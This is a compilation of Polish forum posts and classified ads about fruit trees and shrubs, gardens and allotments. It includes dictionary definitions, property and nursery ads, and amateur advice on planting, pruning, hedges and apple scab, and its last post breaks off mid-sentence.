Ehhh ale wy macie problemy ;-)
Jarzyna:
1. "czesc jadalna rosliny warzywnej; roslina warzywna,
warzywo"
2. "potrawa przyzadzona z tych roslin (gotowanych
duszonych), zwykle jako dodatek do miesa"

Warzywo:
1. "roslina zielna, ktorej jadalna czesc korzeniowa,
lisciowa, kwiatostanowa, cebulowa, nasienna lub owocowa
sporzywana jest na surowo, po ugotowaniu, w przetworach
lub jako przyprawa"

Jak widac na zalaczonych przykladach oba pojecia sa sobie
bardzo bliskie, zeby nie powiedziec ze sa to synonimy.
Podzial na warzywa i jarzyny nie ma (chyba) zadnego poza
zwyczajowym pochodzenia.
Jesli chodzi o owoce to sa to potocznie "plody drzew i
krzewow owocowych" - co nie znaczy ze wsrod warzyw nie
mamy owocow (pomidor, ogorek) a nawet kwiatow (kalafior).

· 

DOM i działka w Braniewie!
Do sprzedania dom z działką w Braniewie, 6 km od Zalewu Wiślanego (warmińsko-
mazurskie): działka 2178m2 z sadem - ok. 50 drzew, krzewy owocowe, szklarnia.
Budynki do przechowywania narzędzi, opału. Budynek niepodpiwniczony, z
ocieplonymi podłogami, ogrzewanie piecowe, około 120m2 powierzchni użytkowej.
Na parterze 3 pokoje, duża kuchnia plus łazienka, a na piętrze 2 pokoje plus
strych. Parter wyremontowany, elewacja odnowiona. Stolarka drewniana. Okolica
spokojna, wokoło budynki jednorodzinne. Blisko przedszkole i szkoła
podstawowa. Cena 150 000 zł, ale do negocjacji.
Kontakt: 0-55-243-31-64 lub 0-880-398-685. E-mail: hagor001@wp.pl E-mail, z
którego można uzyskać zdjęcia działki lub domu to: galeha3@wp.pl

Sprzedam działke w DRUŻBICACH budowlano - rolną
Działka 5300 m kw w centrum Drużbic przy trasie Pabianice - Bełchatów . Teren
ogrodzony , prąd 220/380 , wodociąg ( licznik), działka w 1/5 jest budowlana
reszta ziemia rolna . Na terenie budowlanym jest podjazd z kostki brukowej ,
brama odsuwana , drewniany domek kempingowy , krzewy ozdobne i drzewa
owocowe . Część rolna -wykaszana trawa . Własność nortarialna ( KW) , bez
obciążeń.

Kontakt

0 608 44 77 79 lub 0 601 23 91 53

O czym Ty piszesz? Cmentarz był, ale nie był ogrodzony (tzn. gdzieniegdzie były
resztki siatki). Macewy stały, jak stoją teraz, a w Taharze mieliśmy "klub" ;)
Budynek ten służył też nierzadko bezdomnym i pijakom jako "meta". Był jeszcze
jeden budynek, ale rozsypał się całkiem. Oprócz tego, między dzisiejszym
ogrodzeniem od strony Podmiejskiej, a pomnikiem ku czci zburzonego Kalisza w
1914, był ogród - krzewy i drzewa owocowe. Mało tego, teraz pamiętam, że w
kuchni Tahary była jeszcze stara kuchenka gazowa. Co istotne - ta samowolka
zaczęła się, gdy umarła ostatnia opiekunka cmentarza - było to pod koniec lat
80-tych chyba.

· 

Zamienię pół domku na mieszkanie w bloku
Pół domu dwurodzinnego wolnostojącego (parter) zamienię na mieszkanie
parterowe w bloku.
BARDZO DOBRA LOKALIZACJA – teren osiedla „Nasz Dom”; cicha ulica; w pobliżu
lasu i równocześnie blisko sklepów, poczty, apteki, przystanków autobusowych.
Mieszkanie o powierzchni 70 metrów kwadratowych, złożone z przedpokoju, 3
pokoi, werandy, kuchni, łazienki i WC; wysokie, przestronne.
Bez czynszu, bo stanowi WŁASNOŚĆ.
Ogrzewanie gazowe (piec dwufunkcyjny).
Okna PCV z 2006 r., podłogi drewniane.
Wysoka piwnica o powierzchni ok. 50 metrów kwadratowych - do adaptacji.
Wokół domu zadbany ogród - kwiaty, krzewy, drzewa owocowe.

i wszystko jasne
Owoc
2. pot. ?zbiorowo: płody drzew i krzewów owocowych?
Drzewa gięły się pod ciężarem owocu.
Owoc w tym roku tani.

warzywo n III, Ms. ~wie; lm D. ~yw
?roślina zielna, której jadalna część korzeniowa, liściowa, kwiatostanowa, cebulowa, nasienna lub owocowa spożywana jest na surowo, po ugotowaniu, w przetworach lub jako przyprawa?

jarzyna ż IV, CMs. ~nie; lm D. ~yn
1. ?część jadalna rośliny warzywnej; roślina warzywna, warzywo?
Grzędy jarzyn.
Uprawiać jarzyny.

2. ?potrawa przyrządzona z tych roślin (gotowanych, duszonych), zwykle jako dodatek do mięsa?
Buraczki, marchew na jarzynę.

sjp.pwn.pl

halevi napisał:

uporządkowanie doliny Bystrzycy w taki sposób, aby na jak najdłuższym
> odcinku istniały tam tereny parkowe. Obecnie większość tego terenu nie jest
> właściwie przestrzenią publiczną, zajmują ją ogródki działkowe. Po ogródkach
> działkowych mogłaby pozostać wyselekcjonowana roślinność (np. drzewa owocowe,
> krzewy) uzupełniona nowymi nasadzeniami - byłby to oryginalny rodzaj parku,
> przypominajacy sad. Oczywiście można rozważyć też utworzenie jakichś stawów
itd

Świetny pomysł!!!!

ogódek działokwy sprzedam
musze pozbyc sie ogrodka dzialkowego bo nie mam sily i czasu na nim robic.
Jest na nim wszystko-domek murowany, 3 komorki, drzewa owocowe, krzewy,
ogromna ilosc kwaitow, oczko wodne, truskawki, winogrona, itd -365m kw.cena
do uzgodnienia. gadu 3172632 lub meil klaryssa1 @tlen.pl

obiecałam - słowo rzecz święta
Spróbuję opowiedziec o "moim" ogrodzie, tyle, że to wcale nie jest rzeczą
łatwą bo tu - jak wczesniej napisałam - po staremu wszystko razem rośnie.
Jest to taki ogród w którym kwiaty, krzewy ozdobne i owocowe tak samo jak
i drzewa co jedne dla owoców, a drugie tylko, że ładne tu znaleź można.
Niektóre kwiatki wchodzą nawet na jarzyniak, ale i cóż to jarzyniakowi
szkodzi jak się i kwiatek w marchewkowej grządce uchowa?

Kurde, dopiero wrociłam z ogródków, jak ja sie rano obudzę o 4-ej?
Domordowana, wszystko się pięknie usmiechało do mnie i zadowolene, że
przegrzebałam między kwiatkami, cebulka, czosnek już mają 5 cm długości,
krzewy i drzewa owocowe kwitną , ale ja... mniej! Z lekka obolała padam na
pysk. Lubię takie zmęczenie fizyczne i po solankowej kąpiółce do łóżka z
ksiażką, tygodnikiem i spooookojny, zdrowy sen. Hej!

Witam na forum Gazety!
Jesień to dobra pora na przesadzanie, ale tu uwaga należy robić to wcześnie tak
aby krzewy czy drzewa zdążyły ukorzenić się przed zimą. Myślę ze początek
października to najlepszy termin. Nie musi Pan czekać aż liście opadną ale
wyczekać moment aż zaczną zmieniać kolor. Jest to znak, że roślina wycofuje
substancje odżywcze z liści i udaje się na spoczynek.
Z drzew polecał bym drzewa ozdobne owocowe szczególnie wiśnie i jabłonie,
klony, katalpę, głogi, jarzębinę, czy robinię i podobna do niej glediczję. Z
tych dwóch ostatnich należy wybierać odmiany karłowe. Doskonale rownież rosną i
wyglądają lilaki, czy bez odmiana aurea (bez to nie lilak) Wiekszość
niewielkich drzew poza wymagająca magnolią i kilkoma podobnymi rodzajami dobrze
rośnie na większości gleb.
Pozdrowienia,
Jerzy Woźniak
P.S.
Jeśli Pan chce to wyślę listę drzew karłowych na kiepskie gleby – takich nie do
zabicia i jednocześnie ładnych.

paterek napisał:

> Czy ktoś może mi polecić jakiś dobry poradnik o przesadzaniu, pielęgnacji,
> szczepieniu drzewek owocowych?
> Kris

Witam
Ostatnio nakładem Krajowej Rady Polskiego Związku Działkowców zostało wydanych
kilka interesujących pozycji, m.in. SADOWNICTWO DLA DZIAŁKOWCOW Dr Bolesława
Czarneckiego - wszystko o cięciu, pielęgnacji i ochronie drzew owocowych
oraz SZTUKA CIECIA DRZEW I KRZEWOW OWOCOWYCH Prof. Augustyna Miki i wiele innch
tytułów.
Więcej szczegułów w ostatnim wrześniowym numerze DZIAŁKOWCA.

Z pozdr. - Maria

ogrodzenie
Panie Jurku, Drodzy Forumowicze,
Na mojej 900 m działce nie rośnie jeszcze nic, poza, posianą jesienią,
trawką. Już widzę w marzeniach moje betonowe ogrodzenie (betonowe, bo
najtańsze, a w sumie jest tego 150mb) porośnięte przepięknymi pnączami... tu
bluszczyk, tu powojnik, tam wiciokrzew Browna, ale czy te wszystkie gatunki
mogą rosnąć obok siebie? Wymyśliłam sobie, że zacienione fragmenty ogrodzenia
(południowy, pod którym wbrew pozorom jest stale "ciemno" i północny) obsadzę
bluszczem przełamując go co 2 m. wiciokrzewem. Natomiast od wschodu i zachodu
dam bluszcz + powojniki. Na ich tle chcę posadzić drzewa: kępę brzóz, choinę,
świerk srebrny, 2 - 3 owocowe oraz krzewy. Wiem, że między ogrodzeniem a
linią pnączy powinnam zachować 50 cm. odległość, pnącza sadzić co ok. 30 cm.,
ale co z odległością drzew od linii pnączy? Czy to wszysko będzie dobrze
rosło na gliniastej, ciężkiej glebie? I co Państwo sądzą o
takim "ogrodzeniu"? Bardzo mi zależy na Państwa opinii.
Ewa

Znalazłam w Ładnym Domu z 08/2001:
Bez zezwolenia można wycinać drzewa i krzewy: owocowe, sadzone na plantacjach
oraz takie, których wiek nie przekracza 5 lat (dotyczy to wszystkich
użytkowników danej nieruchomości) lub 30 lat (dotyczy to tylko właścicieli i
użytkowników wieczystych danej nieruchomości). Usunięcie innych drzew i
krzewów z terenów nieruchomości wymaga uzyskania zezwolenia wójta, burmistrza
albo prezydenta miasta (art. 48 ust 2. ustawy z 31.01.1980 o ochronie i
kształtowaniu środowiska t.j. Dz.U. z 1994 r nr 49 poz. 196 z późn. zm.).

g.i.jane napisała:

> Znalazłam w Ładnym Domu z 08/2001:
> Bez zezwolenia można wycinać drzewa i krzewy: owocowe, sadzone na plantacjach
> oraz takie, których wiek nie przekracza 5 lat (dotyczy to wszystkich
> użytkowników danej nieruchomości) lub 30 lat (dotyczy to tylko właścicieli i
> użytkowników wieczystych danej nieruchomości). Usunięcie innych drzew i
> krzewów z terenów nieruchomości wymaga uzyskania zezwolenia wójta, burmistrza
> albo prezydenta miasta (art. 48 ust 2. ustawy z 31.01.1980 o ochronie i
> kształtowaniu środowiska t.j. Dz.U. z 1994 r nr 49 poz. 196 z późn. zm.).

Sława!

Czyli świerk ca 20 letni mogę wyciąc bez pytania kogokolwiek?

Piasia, dziękuję bardzo za obszerną odpowiedź, ale nadal nie wiem co robić.

Problem polega na tym, ze te dodatkowe pnie, odrosty (całkiem już grube)
wyrastają z ziemi wokół głównego pnia. Wygląda to raczej jak krzak leszczyny z
jednym grubszym pniem, niż jak drzewo.
Kupiłam nawet książkę o cięciu drzew i krzewów owocowych, ale odpowiedzi na
pytanie, co robić w takim przypadku, nie znalazłam.

Nie chcę zniszczyć jabłoni, na jabłkach tak bardzo mi nie zależy.
Może więc zrobić tylko cięcie prześwietlające drzewo, powycinać cieńsze odrosty
z ziemi a pozostałe zostawić? Może lepiej, żeby rosła zdrowo krzewo-kosztela,
niż uschła lub zmarniała, po moim cięciu?
Może coś poradzisz?
pozdrawiam

Żywopłot i drzewa na piach
Interesują mnie rośliny, którym nie będzie przeszkadzał w rozwoju piach jako
podłoże.Obok znajduje się las. Działka znajduje się na północny wschód od
Warszawy, zatem są to tereny o troszkę ostrzejszym klimacie niż południe czy
centrum Polski.
Szukałam wcześniej jakichś informacji i cokolwiek znalazłam, ale chciałabym
zapytać o konkrety:
1.
Szukam tzw. żywopłotu obronnego, zasłaniającego od wścipskich oczu i taniego,
gdyż tubylcy z upodobaniem wykopują nasze tuje.
Czy w takich warunkach można zastosować na żywopłot ałyczę? Kiedy ją sadzić
(czy moża jeszcze teraz?) i jak ją hodować?
A może coś innego, co szybko urośnie (do min. 160 cm wysokości), nie jest
zbyt wymagające, jest gęste i chroniące przed intruzami z zewnątrz.
2.
Chciałabym również posadzić kilka drzewek i krzewów owocowych. Czy na piahu
coś urośnie? Proszę o radę nt. odpowiednich gatunków oraz sposobu
uprawy/hodowli i czy zdążę jeszcze teraz je posadzić.
3.
Kolejne pytanie -w opisanym przypadku działki:
W jakiej odległości od żwopłotu można sadzić drzewa i krzewy owocowe, aby nie
przeszkadzały sobie wzajemnie?

Z góry bardzo dziękuję za rady

Ad 1 Ałycza to jedno z lepszych rozwiązań. Pamiętaj jednak że żywopłot wymaga
odpowiedniego przygotowania gleby (dodania kompostu i przekopania)a czynność ta
należy wykonać na miesiąc przed sadzeniem. Na taki żywopłot nadają się tez:
Berberysy (Berberis koreana, B. thunbergii, B. vulgaris), Karagana (Caragana
arborescens), ligustr (Ligustrum vulgare), tamaryszek (Tamarix), śnieguliczka
biała (Symphoricarpos albus), szeferdia (Shepherdia argentea), Róże tak zwne
dzikie (Rosa pimpinellifolia, R. rugosa, R. Tomentosa), czeremcha (Padus
serotina), rokitnik(Hippophae rhamnoides).
Ad 2 Na terenie piszczystym rośnie większośc gatunków drzew I krzewów
owocowych. Oczywiście miejsce sadzenia nalezy na długo pzred sadzeniem uzyxnic
dodajac kompostu co sprawi że podłoze będzie długo trzymalo wodę.
Ad 3 To zalezy od gatunku I odmiany drzew I krzewów uzytych na żywoplot myślę
że minimalna odległośc dla większości to około 3-5 metrów.
Jurek

Teraz co do ogrodu warzywnego. Przetłumaczyłem już kilka książek o tym temacie.
Ostatnio, taki mini podręcznik dla początkujących, jeśli cię to interesuje mogę
tez napisać co nieco na forum. Przydomowy ogród warzywny to pieśń sprzed
półwiecza, obecnie nie ma takich ogrodów, a rośliny ozdobne uprawiamy razem z
użytkowymi tworząc tak zwane nasadzenia towarzyszące. Wykorzystuje się tu
oddziaływanie roślin na siebie oraz odstraszanie ich naturalnych wrogów przez
sąsiadujące z warzywami rośliny. Ponadto połączenie warzyw z roślinami
ozdobnymi tworzy zróżnicowany system w którym szkodniki i choroby mają
utrudniony rozwój – zapomnijmy o działkowych monokulturach. Wiele warzyw sadzi
się jako rośliny ozdobne, co nie umniejsza ich praktycznego zastosowania na
talerzu a wiele drzew i krzewów owocowych może z powodzeniem pełnić funkcja
użytkowe i dekoracyjne.
Jeśli chcesz mieć warzywa i nie mieć kłopotów, pamiętaj że tylko taka uprawa ma
sens w wypadku ogrodu przydomowego. W innym musisz stosować chemię, a to daje
takie same warzywa jak te z suprer marketu – czyli lepiej posadzić kwiaty, a
warzywa kupić w sklepie.
Jurek

Tosiu, jest już za późno na sadzenie drzew takich jak drzewa owocowe, chyba ze
znajdziesz szkółkę gdzie są one sprzedawane w pojemnikach. Co do odmian trudno
coś doradzić do małych ogrodów zalecane są odmiany szczepione na niskich
podkładkach oznaczanych jako M9, P16, P22, i P59. Pamiętaj że jabłonie są
zwykle obcopylne i dlatego w ogrodach sadzi się tak zwane zapylacze na przykład
odmianę James Grieve. Niestety jeśli chcemy uprawiać drzewa owocowe to najpierw
długo czytamy i wybieramy odmiany które naprawdę nas interesują, a dopiero
później je kupujemy. Niestety, o ile rośliny ozdobne można uprawiać właściwie
bez większej wiedzy na ich temat tak rośliny użytkowe wymagają i wiedzy i
doświadczenia. Dlatego najpierw - o ile chcemy mieć warzywnik czy sad – kupmy
książkę o uprawach użytkowych. Takie forum załatwi niestety tylko sprawy
doraźne, zaś uprawa drzew i krzewów owocowych to temat na książkę, bo tu nawet
specjalistyczne pismo takie jak działkowiec niewiele pomoże. Chyba, że
poszukasz w broszurach działkowca! Tam są książeczki o uprawach i to właściwie
jest to co potrzeba aby cieszyć się z uprawy takich roślin.
Jurek

Dzięki za zainteresowanie:)

Muszę poprzeglądać troche zdjęć w necie, bo kompletnie nie wiem jak wyglądają te
drzewka/krzewy zaproponowane przez Ciebie. Szczególnie te lisciaste (pisałam, że
jestem laikiem w tych sprawach).
Być może zdecyduję się na żywopłot z żywotników jako rośliny wiodącej i jakiegoś
innego iglaczka i poprzeplatam go kilkoma krzewami liściastymi. Widziałam gdzieś
taki piękny o ciemnoczerwonych, prawie bordowych listkach. Ale jeżeli zdecyduję
się na liściaste, to bedzie ich naprawde niewiele, albo będą zimozielone. No
przynajmniej od strony przyszłego sąsiada (to jest działka na skraju miasta,
takie niewielki osiedle domków jednorodzinnych, z tym, że z jednej strony mam
sąsiada, z drugiej w planie zagospodarowania przestrzennego jest park zieleni, a
z tyłu... rośnie zboże).

A co do świerków, to chyba posadzę kilkanaście w jednym rogu z tyłu działki. A
może wzdłuż całego tyłu i troche w rogu, tak nieregularnie? (Boże, zaraz zwariuję)

A na środku działki planujemy altanę z grilem murowanym i plac zabaw dla dzieci,
no i kilka drzew owocowych. No i oczywiście trawa. Drzewka ozdobne tylko wokół
ogrodzenia i kilka przed domem. Skalniakom mówię NIE!

I całe szczęście. Ale były. Ciemno, ponuro, roje komarów, chaszcze malin,
krzewy agrestu i porzeczek, od południa i północy zdziczały 3 metrowy żywopłot
białych głogów. To się ciągnęło wzdłuż ogrodu, tam, gdzie teraz jest trawnik i
oczko. Odgrodzenie od sąsiadów całkowite, pejzaż zasłonięty. No, koszmar!
Wycięłam to wszystko 4 lata temu, po odziedziczeniu posesji. Pod piłę miały też
pójść 3 150-letnie jesiony, ale żaden tartak nie chciał ich kupić. Na innej
grupie dyskusyjnej - pl.rec.ogrody, pewien Dyskutant przekonał mnie, żeby je
zostawić, za co będę Mu dozgonnie wdzięczna. Przekonał też do piękna starego
drzewostanu owocowego, który choćby dla samych kwiatów wygląda w maju
przecudnie. Teraz nie wyobrażam sobie bez nich ogrodu, chociaż i tak 4
anemiczne śliwy, 3 jabłonie zduszone cieniem i 1 orzech pod oczko wodne,
musiały paść. Myślę jeszcze nad wycięciem 1 orzecha, żeby dopuścić słońce do
jesionowego wzgórza i posadzić tam galerię rododendronów albo chociaż rabatę
róż, które chaotycznie poniewierają się po ogrodzie. Ale znów nie wiem czy
wycięcie akurat tego drzewa załatwi sprawę /ten mój brak wyobraźni
przestrzennej :(/ Wyślę zdjęcie na "Ogrody" .Jesieni nie lubię, ze względu na
mnóstwo liści do grabienia z trawnika.

Szybko rosną np. topole, większość klonów, brzozy, orzech sercowaty, wierzby
(oczywiście mówię o drzewach, które nie zostały zasczepione na skarlającej
podkładce).
Modrzew też szybko rośnie, chociaż często ostatnimi czasy jest atakowany przez
ochojnika.

Myślę jednak, że sadzenie dużych, szybko rosnących drzew w najbliższym
otoczeniu domu jest złym pomysłem. Korzenie drzewa zaczną uszkadzać fundamenty
domu, rozrośnięty okaz może zostać powalony przez huragan lub silną wichurę.
Drzewo może całkowicie zacienić nie tylko Twój ogród, ale i działki sąsiadów.
Po pewnym czasie dolne, zacienione gałęzie zaczną podsychać. A na wycięcie
drzewa (za wyjątkiem owocowych) w wieku powyżej 5 lat i o wysokości ponad 2 m
potrzebna jest zgoda gminy.

Co do modrzewia, to jeszcze dodam, że na zimę zrzuca igły. To może być zarówno
wada (brak osłony) jak i zaleta (więcej światła w krótkie zimowe dni).

Wydaje mi się, że najlepszym rozwiązaniem byłoby posadzenie pnącza (winorośl,
winobluszcz rosną po kilka metrów rocznie) lub szpaleru krzewów. Z
zimozielonych pnączy można by polecić bluszcz, który jednak stosunkowo wolno
rośnie i może ucierpieć w czasie srogiej zimy.
Jeśli mimo to chcesz posadzić wielkie drzewo koło domu, to przemyśl to proszę
raz jeszcze. Nasz Ekspert kiedyś pisał, że w Anglii obowiązuje niepisana
zasada, że drzewo sadzi się w takiej odległości, jaka jest jego potencjalna
maksymalna wysokość. Modrzew może dorosnąć w dobrych warunkach do 40 - 50 m.

Witam,
na temat smarowania ran po cięciu porzeczki - nie jest to konieczne (a czasem
prawie niewykonalne przy dużej ilości przyciętych pędów). Przycinasz pędy
zdrewniałe, więc jest to cięcie bezpieczniejsze niż np. jabłoni. Odnośnie
ogólnie cięcia polecam lekturę książek prof. A. Miki np.:Cięcie drzew i krzewów
owocowych".
Pozdrawiam

Oczywiście, że wszystko rosło w tym samym miejscu. Moi sąsiedzi też
kiedyś mieli tu drzewa owocowe. Po prostu owczym pędem zamieniliśmy
drzewa i krzewy owocowe na ozdobne.
Dzisiaj byłam w tut.ogrodnictwie, akurat była nowa dostawa, prosto
ze Skierniewic, specjalne odmiany dla tego rejonu, mrozoodporne. Coś
wybiorę.

Ileż cudowności wypisujecie tutaj. Jestem totalnym laikiem w kwestii drzewek
owocowych,tak dużym że nawet nie przycięłam na wiosnę moich nowo posadzonych
jesienią ub. roku drzewek bo zgłupiałam i nie wiedziałam jak. Nawet w Działkowcu
jedni fachowcy piszą ciąć inni, że nie bo opóźnia to owocowanie. Wydrukowałam
wszystkie porady i mam lekturę do poduszki bo tydzień temu posadziłam następne
drzewa i krzewy owocowe. Pozdrawiam gorąco.

Przykład maliny najlepiej świadczy o tym, że takie gleby nie nadają
się do uprawy roślin sadowniczych. To typowe gleby leśne, na których
będa rosły dobrze w zasadzie jedynie wybrane krzewy i drzewa
ozdobne... Drzewa owocowe mają stosunkowo wysokie wymagania glebowe -
celowo używam określenia stosunkowo wysokie - bo najlepiej radzą
sobie na glebach klasy III i IV; na słabych glebach (V klasy)
również sadownicy zakładają sady - ale wówczas zarówno plony są
słabe, a koszty i pracochłonność bardzo duża. Natomiast piaszczyste
ziemie klasy VI nie mają minimalnej zawartości składników
pokarmowych, które rośliny potrzebują w czasie wegetacji. Na "siłę"
można spróbować z jabłoniami na silnie rosnącej antonówce - ale
raczej jestem pod tym względem pesymistą... z kolei wymiana podłoża
będzie bardzo pracochłonna i kosztowna. Trzeba pamiętać, że drzewa
owocowe bardzo głęboko się korzenią - tu nie wystarczy wypełnienie
dołka próchniczną glebą... Do tego dochodzi kwestia nawadniania i
systematycznego nawożenia. Szczerze - szkoda czasu, pieniędzy i
nadziei - bo jeśli już jakieś drzewka się przyjmą, to będą
się "męczyły" na takiej glebie, plonowanie będzie bardzo słabe,
owoce drobne, a na drzewach co rusz będą widoczne niedobory
składników pokarmowych. Najlepiej podpatrrzyć u sąsiadów jak to
wygląda - czy jakieś drzewka rosną, czy owocują i.t.d. Czy jest na
tej działce możliwość zainstalowania nawadniania? Jest dostęp do
wody? Czy były już uprawiane jakieś rośliny użytkowe (jakie?) i
jesli tak, jak sobie radziły?
Pozdrawiam serdecznie

Jesli jest to działka wypoczynkowa i ma sluzyć jako warzywnik i sadek ale tez z
miejscem pod grill to proponuje sobie powyznaczac miejsca pod ten cel.Ze tu
bezei grill, tu beda warzywa i jakeis drzewka owocowe.Duze drzewa np brzoza i
wierzba placzaca (oj duuza rosnie) posadz na koncu dzialki (wierzba lubi
siedliska wilgotne, brzoza jest b.wytzymala) bo jesli posadzisz je na srodku to
zajmą ci cała przestrzen zwlaszcza ze te drzewa szybko rosną. Wierzbe
mandzurską mozesz posadzic blizej gdyz nie rosnie ona tak duza. jelsi chcesz
zywoplot z krzewow - polecam ligustr badz irge (nizsza niz l.) Nasadzeniamozesz
zrobic albo wzdluz ogrodzenia (zeby stworzyc miejsce do poruszania sie i
wypoczynku) albo jako skupiska soliterowe (pojedyncze) w ozdobnych barwach.

witam!przypuszczalne choroba, która zaatakowała twoje jabłonie to parch jabłoni
(na liściach pierwsze plamy pojawiają juz w okresie kwitnienia, początkowo
oliwkowe póżniej coraz ciemniejsze. owoce z szarymi lub czarnymi plamami
przypominającymi strupki)-to popularna choroba- występuje również na gruszach.
zwalczanie:opryski w fazie zielonego oraz różowego pąka i opadania płatków
kwiatowych. Polecam preparaty Carpene 65 WP, Rubigan 12 EC, Saprol!!!preparaty
stosuj przemiennie według wskazań na ulotkach!!!dla zachowania prawidłowego
rozwoju drzewa a tym samym dla pozyskania zadowalającego owocowania ważne są
zabiegi pielęgnacyjne właśnie takie jak opryski i odpowiednie cięcie!tu
mogłabym sie rozwodzić(jestem architektem ds.kształtowania terenów zieleni);)
polecam znakomitą książkę warta zakupienia-"Cięcie drzew i krzewów owocowych"
A.Mika.
Pozdrawiam

jak otulać krzewy i drzewa na zimę
Witam, jestem początkująca właścicielką ogrodu. Mam kilka drzewek owocowych i
ozdobnych, winorośle, róże parkowe, krzewy i nie wiem, jak powinno wyglądać
zabezpieczanie ich na zimę. Chcę kupić agrowłókninę, tę najgrubszą i nie
wiem, czy pod nią powinna być jeszcze warstwa czegoś ogrzewającego, np słomy,
czy otulać całe drzewko, ile warstw i tak dalej. Nic nie wiem, mówiąc
szczerze. Ponieważ jeszcze dwa miesiące temu byłam właścicielką wyłącznie
papirusa w doniczce. Proszę mi doradzić, jak mam postąpić, aby ich nie
wymordować. Pozdrawiam.

Lubi miejsca osłonięte i słoneczne.Poleciłabym książkę Augustyna Mika:Sztuka
cięcia drzew i krzewów owocowych.Brzoskwinia wymaga częstego cięcia aby miała
dorodne owoce.Pozycja ta jest bardzo tania i dla mnie bardzo przydatna.Autor w
tej niewielkiej książce zawarł najbardziej potrzebne,podręczne informacje
dotyczące cięcia krzewów i drzew owocowych.

Pielęgnacja drzew owocowych - pytanie laika
Witam,

jestem totalnym laikiem jak chodzi o sprawy ogrodowe. Wiosną i jesienią ur.
posadziliśmy na naszej działce sporo owocowych drzew (czereśnie, jabłonie,
śliwki, grusze i brzoskwinie), a także krzewy (porzeczki, aronie). Jak dbać o
takie drzewa i krzewy? Zdaje się, że powinno się je czyms zasilić, ale czym i
jak? Dodam, że w pobliżu mamy studnie, która jest naszym jedynym źródłem wody
(jeśli to ma w ogóle jakieś znaczenie). Czy o różne odmiany trzeba inaczej
dbać? Może mi coś doradzicie? Z góry dziękuję.

Fajnażonka

działka
Mamy typową działkę pracowniczą. Dostaliśmy ją od rodziców.
Wtedy było na niej zawsze mnóstwo warzyw, jakaś folia, pomidory,
ogórki. Próbowaliśmy tak uprawiać przez jakiś czas, ale pojawiły się
dzieci i coraz mniej czasu. A może chodziło o to, że chcieliśmy robić
też coś innego, a nie tylko zajmować się działką.
Teraz mamy głównie trawę, drzewa owocowe (każde z trójeczki ma swoje
drzewko, najstarszego czereśnia ma już prawie 9 lat...), krzewy owocowe
i ozdobne, trochę iglaków i trochę kwiatów. Kwiatów byłoby więcej,
ale kradną, więc już nie dosadzam. Strasznie jest mi przykro, gdy ktoś
je sobie bierze (((
Moim ulubionym narzędziem jest sekator. Nie lubię pielić i prawie nie
pielę. Przy okazji koszenia trawy, kosi się też chwasty.
Nie jesteśmy typowymi działkowcami, którzy każdą chwilę są na działce.
Lubimy wyjazdy, nawet krótkie, wyjścia do lasu (dzieci trochę mniej
Na działkę w sezonie zaglądamy raz na dwa tygodnie. Dzieciaki lubią tam
brykać, gotować zupę roślinną, zajmować się ślimakami...
Chodzi też o to, aby działka dawała radość, a nie przygniatała obowiązkiem.

Drzewa i krzewy owocowe z Holandii
Sprzedaz drzewek owocowych klasy AAA z paszportem , 3 letnich z
Holandii. Ponad 200 odmian grusz, sliw, sliwomoreli, sliwobrzoskwin,
jabloni, wisni, czeresni, brzoskwin, moreli itd. Wszystkie drzewka
przystosowane do polskiej strefy klimatycznej. Szczegolowe
informacje pod mailem bliss@programmer.net Cena drzewek 50 zl.
Sprzedawane w balotach co gwarantuje 100% przyjecia.
Zapraszam.

Popatrzcie dookoła siebie, jest pełno dziko posadzonych krzewów i drzew.
Mieszkańcy się realizują sadząc te rośliny i zaśmiecając miasto. Przecież są do
tych celów stworzone zakłady zieleni i one decydują gdzie i jakie rośliny
posadzić.
Kilka lat temu szłam chodnikiem koło bloku socjalnego przy ul.Moniuszki
(omawianego w artykule) z jednomiesięczną córką w wózku i nagle spadło na nóżki
dziecka ogromne jabłko. Okazało się, że wzdłóż chodnika rosły drzewa owocowe.
Mogło dojść do tragedii. Pewne jest, że te drzewka owocowe nie posadziły służby
utrzymujące zieleń w naszym mieście.

Znajdował się pomiędzy ulicami E. Plater, Nowogrodzką, Wspólną, Chałubińskiego
(nazwy obecne). Założono go w celu badania aklimatyzacji róznych drzew i
krzewów. Miał on ponad 12 tyś. drzew owocowych i szkółkę liczącą 20 tyś.
drzewek owocowych. Było w nim ponad 2 tyś. odmian drzew i krzewów. Był on
ogólnie dostępny dla publiczności. W czasie działań wojennych (szczególnie
wrzesień 1939 roku i później Powstanie Warszawskie) uległ całkowitemu
zniszczeniu...

> To nie jest odpowiedz na MOJE PYTANIE ! Dlaczego pozeracze ryzu, ziemniakow,
> salaty, kapusty ... itp nie moga spac spokojnie, gdy ci karmiacy sie jablkami
> i orzechami moga - bylo moje pytanie...

Ponieważ wyrywając kapustę czy marchewkę niszczysz całą roślinę. Jabłka czy
orzechy jak są dojrzałe, same spadają z drzew i roślinie nie dzieje się żadna
krzywda.
Co prawda zupełnie innym problemem jest to, że np. marchew jest roślina
jednoroczną, a drzewa czy krzewy owocowe - wielorocznymi.

sanvean

Ogrodnicy jak ogrodnicy, ale.....
Dziłkowiec nr październikowy str 36 cyt; "Najbardziej odpowiednim terminem
sadzienia drzewek i krzewów owocowych jest jesień - od października, aż do
wystąpienia pierwszych silniejszych przymrozków" dalej następuje uzasadnienie
jesiennego termiony sadzenia, i dalej "...drzewka sadzone w ty terminie
wymagają starannego zabezpieczenia przed mrozem"
Działkowie nr listopadowy str 30 cyt: "Jeżeli w październiku nie zdążyliśmy w
naszym ogrodzieposadzić wszystkich drzew i krzewów owocowych to początek
listopadajest jeszcze dobrym terminem na uzupełnienie planowanych nasadzeń. O
ostatecznym terminie sadzenia decydują jednak warunki pododowe. Nie należy
sadzić dtzew w końcu listopada czy na początku grudnia kiedy występują już
większe spadki temperatur." i dalej ""...przedewentualnymi uszkodzeniami
mrozowymi należy przed nastaniem większych spadków temperatury usypać wokół
pnia drzewka kopczyk wysokości 25 -30 cm, który rozgarnia się dopiero nawiosnę."
Sądząc po treści całych, a jedynie cytowanych wyżej artykułach można śmiało
sadzić, dotychczasowe spadki temperatury były raczej niewielkie.
Proponuję zaopatrzyć się w drzewka po drodze z Warszawy do Zamościa lub w
Zamościu. W Warszawie w OBI na Ursynowie jabłonka Genewa kosztuje 14,55 zł,
taka sama w punkcie sprzedaży drzewek i krzewów ozdobnych i owocowych (między
Kurowem a Lublinem po prawej stronie od drogi) - 5 zł,w Zamościu 7 - 8 zł. Dane
z ostatniego tygodnia, bo sam kupowałem i sadziłem.
Życzę udanych zbiorów.
pozdr.

urodzilam i wychowalam sie w duzym miescie, kiedy przeszlam na emeryture a
